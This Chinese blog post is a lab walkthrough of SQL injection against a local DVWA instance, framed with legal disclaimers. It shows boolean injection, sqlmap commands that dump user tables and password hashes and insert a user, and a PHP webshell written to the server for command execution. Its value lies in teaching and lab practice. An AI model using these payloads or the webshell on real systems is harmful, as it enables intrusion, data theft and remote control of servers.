注意:本文仅供教育和安全研究使用。
本文内容及所涉及的技术,仅限用于合法授权下的安全研究、教学演示、 以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。 本文内容仅限安全研究、漏洞复现与教学演示使用! 使用者必须在完全理解并接受本声明的前提下继续阅读与操作。 凡将本文所述方法用于非法用途者,一切法律后果由使用者本人承担。 请严格遵守所在地的法律法规,特别是以下中国法律条款: 📜 《中华人民共和国网络安全法》 第十二条: 禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。 📜 《中华人民共和国刑法》 第二百八十五条至二百八十七条: 非法入侵计算机系统、篡改或破坏数据将追究刑责。 📜 《中华人民共和国数据安全法》 第三条、第十七条: 数据处理活动必须合法合规,严禁非法获取、传输或泄露数据。 🚫 强烈禁止以下行为: - 向他人 APK 植入恶意代码并传播 - 上传恶意程序至应用市场 - 在未授权设备或网络环境中运行本篇提及的技术 ⚖️ 非法使用将触犯法律,作者不承担由此引发的任何后果。 🧪 本文操作均在本地沙箱环境下进行,示例所用 APK 为自定义构建 demo,用于演示完整技术链路,非实际恶意软件。 💡 特别提醒: 本文所涉及操作可能包含网络通信、远程访问、敏感权限调用等, 必须在受控环境下、获得明确授权后进行。 未经许可的任何行为都将被视为违法攻击。 📛 作者立场中立,仅为安全教育目的演示,不对滥用技术行为负责。 准备环境 & Docker 安装
sudo apt update sudo apt install -y docker.io docker pull vulnerables/web-dvwa docker run --rm -it -p 7997:80 vulnerables/web-dvwa 访问浏览器:http://localhost:7997
默认账号密码:admin / password
点击 Create/Reset Database 初始化数据库。
布尔注入测试与漏洞验证
在开始之前,我们要确保 SQL 语句在数据库端返回 true 而不是 false。通常,当密码错误时,例如 password='123' 或 password='',查询会返回 false,因为条件不匹配。但如果我们注入 '1'='1',这个条件始终为 true,因为 '1' 与 '1' 完全匹配,从而绕过验证。
输入:
OR '1'='1' 理论上,后台 SQL 语句可能是:
SELECT * FROM users WHERE password = '' OR '1'='1'; 页面返回:
ID: 1' OR '1'='1 First name: admin Surname: admin ID: 1' OR '1'='1 First name: Gordon Surname: Brown ID: 1' OR '1'='1 First name: Hack Surname: Me ID: 1' OR '1'='1 First name: Pablo Surname: Picasso ID: 1' OR '1'='1 First name: Bob Surname: Smith 这一步成功验证了 id 参数存在 SQL 注入漏洞,是整个攻击链的开端。
获取 PHPSESSID & 安全级别 Cookie
curl -I http://localhost:7997 输出:
HTTP/1.1 302 Found Set-Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; path=/ Set-Cookie: security=low Location: login.php curl 验证 SQL 注入点
curl -i "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \ -H "Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low" 输出:
ID: 1 First name: admin Surname: admin 尝试注入:
curl -i "http://localhost:7997/vulnerabilities/sqli/?id=1'%20OR%20'1'='1'&Submit=Submit" \ -H "Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low" 输出:
ID: 1' OR '1'='1 First name: admin sqlmap 探测注入类型
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \ -p id --batch --level=2 --risk=1 输出:
GET parameter 'id' is injectable Boolean-based blind: payload... Error-based: payload... Time-based blind: payload... UNION query: payload... 获取数据库列表
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \ --dbs -p id --batch 输出:
available databases [2]: [*] dvwa [*] information_schema 查看 DVWA 表
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \ -D dvwa --tables -p id --batch 输出:
Database: dvwa [2 tables] +-----------+ | guestbook | | users | +-----------+ 查询用户表
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \ --sql-query="SELECT * FROM dvwa.users;" -p id --batch 输出:
[*] 1337,/hackable/users/1337.jpg,0,Hack,...,8d3533d75ae2c3966d7e0d4fcc69216b,3 [*] admin,/hackable/users/admin.jpg,0,admin,...,5f4dcc3b5aa765d61d8327deb882cf99,1 [*] gordonb,/hackable/users/gordonb.jpg,0,Gordon,...,e99a18c428cb38d5f260853678922e03,2 [*] pablo,/hackable/users/pablo.jpg,0,Pablo,...,0d107d09f5bbe40cade3de5c71e9e9b7,4 [*] smithy,/hackable/users/smithy.jpg,0,Bob,...,5f4dcc3b5aa765d61d8327deb882cf99,5 创建新用户
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \ --sql-query="INSERT INTO dvwa.users (user, avatar, first_name, user_id, password) VALUES ('test', '/hackable/users/test.jpg', 'sss', 'test_hack', 'password_123');" -p id --batch 查询权限
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \ --sql-query="SELECT grantee, privilege_type FROM information_schema.user_privileges;" -p id --batch 输出:
'app'@'localhost', USAGE 上传 WebShell
PHP WebShell:
<?php if (isset($_REQUEST['cmd'])) { echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; } ?> 上传命令:
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \ -p id --batch \ --file-write="./shell.php" \ --file-dest="/var/www/html/dvwa/shell.php" 访问测试:
http://localhost:7997/dvwa/shell.php?cmd=whoami 郑重声明
学技术,须以善念为本。此博客所分享的知识,皆为安全研究与防护之用。请务必谨记,绝不可滥用这些技能去伤害他人、侵犯隐私或进行任何违法犯罪行为。若你选择走偏,所有后果只能由你自己承担。
技术如刀,双刃而锋利。唯有怀抱正义与责任,方能让它照亮前路,而非迷失于黑暗。愿你我都能守住这份初心,成为守护网络安全的真正战士。
若你选择滥用本博客内容所学技能所造成的任何损害或违法行为,本人概不负责。若因此被警方或相关执法机关追查,一切法律责任与后果均由使用者本人承担。







Top comments (0)